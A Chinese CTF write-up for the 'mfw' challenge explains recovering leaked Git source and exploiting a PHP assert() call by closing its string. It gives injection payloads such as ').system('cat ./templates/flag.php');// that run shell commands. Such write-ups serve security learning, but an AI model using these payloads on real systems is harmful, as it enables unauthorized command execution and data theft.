mfw git泄露构造闭合

这题也挺有想法 第一次确实没有想到

首先我们可以扫出 git

然后

我们githack 泄露一下

然后我们看index.php代码

复制代码
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

问题代码出现在

复制代码
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

这里的参数是可以闭合的 因为是可控的


我们构造 ')


assert("strpos('')', '..') === false") or die("Detected hacking attempt!");

然后我们可以在后面面接上其他php语句


这里有两个


').system("ls");//


或者

') or system("ls");//

最后payload

就是替换为cat即可

复制代码
/?page=').system("cat ./templates/flag.php");//
相关推荐
happymaker06261 小时前
git使用快速入门
git
不做超级小白1 小时前
从零到可用:在手机上用 Termux + Git + Obsidian 打造稳定同步环境(踩坑全记录)
git·智能手机
凡客丶1 小时前
Git安装与使用保姆教程【超详细】
git
android_cai_niao1 小时前
给Git项目添加多个远程仓库
git·gitee·github
胡小禾2 小时前
多账号下git自动切号
git
zhensherlock2 小时前
Protocol Launcher 系列:Working Copy 提交与同步全攻略
javascript·git·typescript·node.js·自动化·github·js
前端若水2 小时前
Git 全命令超级详细指南
大数据·git·elasticsearch
SiYuanFeng14 小时前
新手学Git:如何把本地 Git 项目上传到 GitHub
git·github
前端若水15 小时前
git回退并合并分支操作
git
程序员鱼皮21 小时前
Git WorkTree 是什么?凭什么能让 AI 编程效率翻倍?
git·ai·程序员·编程·ai编程